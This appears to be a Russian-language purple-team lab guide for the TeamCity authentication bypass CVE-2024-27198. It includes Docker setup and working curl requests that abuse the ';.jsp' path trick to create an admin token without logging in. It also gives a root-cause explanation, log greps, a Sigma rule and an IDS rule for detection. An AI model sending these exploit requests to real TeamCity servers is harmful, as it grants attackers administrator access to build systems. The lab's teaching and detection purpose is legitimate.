Лаборатория для CVE-2024-27198
TeamCity предоставляет страницу управления токенами, доступную только администраторам, которая не защищена аутентификацией. Это позволяет неаутентифицированному пользователю генерировать токен доступа для администратора, если он сможет найти идентификатор существующего пользователя.
Уязвимость кроется в механизме маршрутизации REST API. Добавляя определённые символы (например, ?jsp=/app/rest/...;.jsp) к неаутентифицированной конечной точке, злоумышленники могут обмануть веб-сервер TeamCity, заставив его направить запрос на аутентифицированную конечную точку, обходя при этом фильтры безопасности. Это не требует никаких предварительных знаний или доступа, что делает эту уязвимость по-настоящему критической с оценкой 9.8 по CVSS.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Откройте уязвимый экземпляр Teamcity по адресу http://localhost:8111. Откройте исправленный экземпляр Teamcity по адресу http://localhost:8112.
Имя пользователя:
admin
Пароль:
admin
GET-запрос к ресурсу без аутентификации:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Оба должны вернуть ошибку со статусом 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Это должно вернуть токен, похожий на этот (токен каждый раз разный):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Это должно вернуть ошибку со статусом 401, поскольку исправленный экземпляр не содержит уязвимости.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Должен вернуть список пользователей.
Во время демонстрации в лаборатории можно показать значительную находку Blue Team: по умолчанию эта уязвимость невероятно скрытна!
;.jsp не регистрируются.Так как же нам его поймать? Когда злоумышленник заметает следы! Когда злоумышленник удаляет свой поддельный токен, чтобы скрыться, TeamCity всё же регистрирует это.
Найдите злоумышленника, заметающего следы, в журналах аудита:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Вы увидите запись в журнале, указывающую, что токен «REDTEAM» был удалён).
docker compose -f docker-compose.yml down
Эта уязвимость является примером CWE-288: Обход аутентификации с использованием альтернативного пути или канала. Ошибка возникает из-за путаницы путей между веб-сервером Tomcat и маршрутизатором приложения TeamCity. Добавляя ;.jsp и передавая целевой REST API endpoint в параметре jsp=, исходный фильтр безопасности интерпретирует запрос как неаутентифицированный запрос к публичному .jsp-файлу (который разрешён). Однако внутренний маршрутизатор удаляет ;.jsp и пересылает запрос на ограниченную конечную точку /app/rest/ без применения фильтра аутентификации.
Легитимный сценарий использования (почему ; разрешён?):
Tomcat использует символ точки с запятой (;) для матричных параметров. Исторически этот механизм используется для передачи параметров непосредственно в пути, например, для добавления JSESSIONID с целью поддержания состояния сеанса пользователя, когда файлы cookie отключены. Это обычное, легитимное поведение веб-сервера в сочетании с некорректной проверкой со стороны маршрутизатора приложения TeamCity и создаёт уязвимость.
Чтобы обнаружить текущую или прошлую компрометацию, Blue Teams должны искать:
/app/rest/, но содержащие аномальную строку ;.jsp в URI.teamcity-server.log): Необъяснимая генерация токенов доступа или создание новых учётных записей администратора.Поскольку первоначальная эксплуатация по умолчанию скрытна, Blue Teams должны полагаться на обнаружение действий злоумышленника после эксплуатации, таких как заметание следов. Вот правило Sigma для вашей SIEM, позволяющее обнаруживать подозрительное удаление токенов:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Чтобы доказать, что это обнаружение работает, запустите скрипт siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Для обнаружения этой попытки эксплуатации в сети SOC может внедрить следующее правило IDS, которое ищет аномальный шаблон ;.jsp в сочетании с путями REST API:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Чтобы доказать, что смягчение работает, вы можете запустить тот же самый эксплойт против исправленного контейнера TeamCity, работающего на порту 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Поскольку патч строго проверяет соответствие маршрутов и правильно очищает матричные параметры, обход не сработает. Вы должны увидеть ответ 401 Unauthorized или 404 Not Found вместо сгенерированного токена.